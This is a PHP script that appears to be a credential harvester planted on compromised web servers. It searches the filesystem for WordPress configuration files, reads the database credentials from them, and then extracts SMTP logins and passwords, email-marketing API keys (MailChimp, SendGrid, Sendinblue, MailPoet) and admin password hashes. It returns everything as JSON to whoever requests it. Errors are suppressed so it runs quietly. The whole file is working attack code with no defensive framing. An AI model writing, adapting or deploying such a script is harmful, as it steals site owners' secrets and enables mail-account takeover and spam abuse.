<?php
error_reporting(0);
set_time_limit(90);
header('Content-Type: application/json; charset=utf-8');

// Find wp-config.php
$wp_paths = [
    '/var/www/html/wp-config.php','/var/www/wp-config.php',
    __DIR__.'/../../wp-config.php',__DIR__.'/../wp-config.php',
];
foreach (glob('/var/www/*/wp-config.php') ?: [] as $p) $wp_paths[] = $p;
foreach (glob('/var/www/html/*/wp-config.php') ?: [] as $p) $wp_paths[] = $p;
if (is_dir('/home')) { $dh=opendir('/home'); while(($f=readdir($dh))!==false) if($f!='.'&&$f!='..') $wp_paths[]=("/home/$f/public_html/wp-config.php"); closedir($dh); }

$db_host=$db_user=$db_pass=$db_name=$prefix=null;
foreach ($wp_paths as $path) {
    if (!@file_exists($path) || !@is_readable($path)) continue;
    $c = @file_get_contents($path);
    if (!$c || strpos($c,'DB_NAME')===false) continue;
    if (preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $c, $m)) $db_host=$m[1];
    if (preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $c, $m)) $db_user=$m[1];
    if (preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $c, $m)) $db_pass=$m[1];
    if (preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $c, $m)) $db_name=$m[1];
    if (preg_match("/table_prefix\s*=\s*['\"]([^'\"]+)['\"]/i", $c, $m)) $prefix=$m[1]; else $prefix='wp_';
    break;
}
if (!$db_host) { echo json_encode(['status'=>'NO_WPCONFIG']); exit; }

$conn = @new mysqli($db_host,$db_user,$db_pass,$db_name);
if ($conn->connect_error) { echo json_encode(['status'=>'DB_FAIL','err'=>$conn->connect_error]); exit; }

$result = ['status'=>'OK','host'=>$db_host,'user'=>$db_user,'db'=>$db_name,'smtp'=>[],'api'=>[],'admin'=>[],'newsletter'=>[]];

// ----- SMTP options -----
$smtp_opts = ['wp_mail_smtp','swpsmtp_options','postman_settings','fluentmail-settings',
              'mailster_options','smtp_mail_settings','wp_smtp','post_smtp',
              'easy_smtp_options','mailpoet_settings'];
foreach ($smtp_opts as $opt) {
    $r=$conn->query("SELECT option_value FROM {$prefix}options WHERE option_name='$opt' LIMIT 1");
    if (!$r||!$r->num_rows) continue;
    $v=$r->fetch_assoc()['option_value'];
    $d=@unserialize($v)?:@json_decode($v,true);
    if (!$d||!is_array($d)) continue;
    $flat=[];
    array_walk_recursive($d,function($v,$k) use(&$flat){$flat[strtolower($k)]=$v;});
    $h=$flat['smtp_host']??$flat['host']??$flat['mail_server']??$flat['outgoing_smtp_host']??'';
    $u=$flat['smtp_user']??$flat['from_email_address']??$flat['username']??$flat['smtp_username']??'';
    $p=$flat['smtp_pass']??$flat['from_email_password']??$flat['password']??$flat['smtp_password']??'';
    $port=(int)($flat['smtp_port']??$flat['port']??587);
    foreach(['ssl://','tls://'] as $pf) if(stripos($h,$pf)===0){$h=substr($h,strlen($pf));break;}
    if($h&&$u&&$p&&strlen($p)>=4) {
        $result['smtp'][]=['host'=>$h,'port'=>$port,'user'=>$u,'pass'=>$p,'plugin'=>$opt];
    }
}

// ----- Mailpoet specific -----
$r=$conn->query("SELECT option_value FROM {$prefix}options WHERE option_name='mailpoet_settings' LIMIT 1");
if ($r&&$r->num_rows) {
    $v=$r->fetch_assoc()['option_value'];
    $d=@unserialize($v)?:@json_decode($v,true);
    if ($d&&is_array($d)) {
        $smtp=$d['mta']??[];
        if(isset($smtp['host'])&&$smtp['host']) {
            $result['smtp'][]=['host'=>$smtp['host'],'port'=>(int)($smtp['port']??587),'user'=>$smtp['login']??'','pass'=>$smtp['password']??'','plugin'=>'mailpoet'];
        }
        // Mailpoet API key
        if(isset($d['mta_log'])&&isset($d['mta']['mailpoet_api_key'])) {
            $result['api'][]=['type'=>'mailpoet','key'=>$d['mta']['mailpoet_api_key']];
        }
    }
}

// ----- API keys from options -----
$api_opts = [
    'sendinblue_woocommerce' => ['api_key','email_username'],
    'woocommerce_sendinblue_settings' => ['sib_api_key'],
    'mc4wp' => ['api_key'],  // MailChimp for WP
    'mailchimp_sf_options' => ['apikey'],
    'newsletter' => ['smtp_host','smtp_user','smtp_password'],
    'newsletter_main' => ['smtp_host','smtp_user','smtp_password'],
    'sg_settings' => ['apikey','sendgrid_api_key'],  // SendGrid WP
    'sendgrid-settings' => ['apiKey'],
];
foreach ($api_opts as $opt => $keys) {
    $r=$conn->query("SELECT option_value FROM {$prefix}options WHERE option_name='$opt' LIMIT 1");
    if (!$r||!$r->num_rows) continue;
    $v=$r->fetch_assoc()['option_value'];
    $d=@unserialize($v)?:@json_decode($v,true);
    if (!$d||!is_array($d)) continue;
    $flat=[];
    array_walk_recursive($d,function($v,$k) use(&$flat){$flat[strtolower($k)]=$v;});
    foreach($keys as $k) {
        $val=$flat[strtolower($k)]??'';
        if($val&&strlen($val)>10) $result['api'][]=['type'=>"$opt:$k",'key'=>$val];
    }
}

// ----- Newsletter plugin SMTP -----
$r=$conn->query("SELECT option_name,option_value FROM {$prefix}options WHERE option_name IN ('newsletter','newsletter_main') LIMIT 2");
if ($r) {
    while($row=$r->fetch_assoc()) {
        $d=@unserialize($row['option_value'])?:@json_decode($row['option_value'],true);
        if(!$d||!is_array($d)) continue;
        $flat=[];
        array_walk_recursive($d,function($v,$k) use(&$flat){$flat[strtolower($k)]=$v;});
        $h=$flat['smtp_host']??'';$u=$flat['smtp_user']??'';$p=$flat['smtp_pass']??$flat['smtp_password']??'';
        $port=(int)($flat['smtp_port']??587);
        if($h&&$u&&$p&&strlen($p)>=4) $result['smtp'][]=['host'=>$h,'port'=>$port,'user'=>$u,'pass'=>$p,'plugin'=>'newsletter'];
    }
}

// ----- WP admin credentials -----
$r=$conn->query("SELECT user_login,user_pass,user_email FROM {$prefix}users WHERE user_login='admin' OR user_email LIKE '%admin%' LIMIT 5");
if ($r) {
    while($row=$r->fetch_assoc()) {
        $result['admin'][]=['login'=>$row['user_login'],'hash'=>$row['user_pass'],'email'=>$row['user_email']];
    }
}

// ----- Broad SMTP search in all options (any option with smtp data) -----
$r=$conn->query("SELECT option_name,option_value FROM {$prefix}options WHERE (option_value LIKE '%smtp_host%' OR option_value LIKE '%mail_host%' OR option_value LIKE '%\"host\"%') AND length(option_value)<5000 LIMIT 30");
if ($r) {
    while ($row=$r->fetch_assoc()) {
        $v=$row['option_value'];
        $d=@unserialize($v)?:@json_decode($v,true);
        if(!$d||!is_array($d)) continue;
        $flat=[];
        array_walk_recursive($d,function($v,$k) use(&$flat){$flat[strtolower($k)]=$v;});
        $h=$flat['smtp_host']??$flat['host']??'';
        $u=$flat['smtp_user']??$flat['smtp_username']??$flat['from_email']??'';
        $p=$flat['smtp_pass']??$flat['smtp_password']??$flat['password']??'';
        $port=(int)($flat['smtp_port']??$flat['port']??587);
        foreach(['ssl://','tls://'] as $pf) if(stripos($h,$pf)===0){$h=substr($h,strlen($pf));break;}
        $skip=['localhost','127.0.0.1','mailhog','mailtrap','example.com','false','null'];
        if($h&&$u&&$p&&strlen($p)>=4&&!in_array(strtolower($h),$skip)&&strpos($u,'@')!==false) {
            $result['smtp'][]=['host'=>$h,'port'=>$port,'user'=>$u,'pass'=>$p,'plugin'=>$row['option_name']];
        }
    }
}

$conn->close();
echo json_encode($result);
?>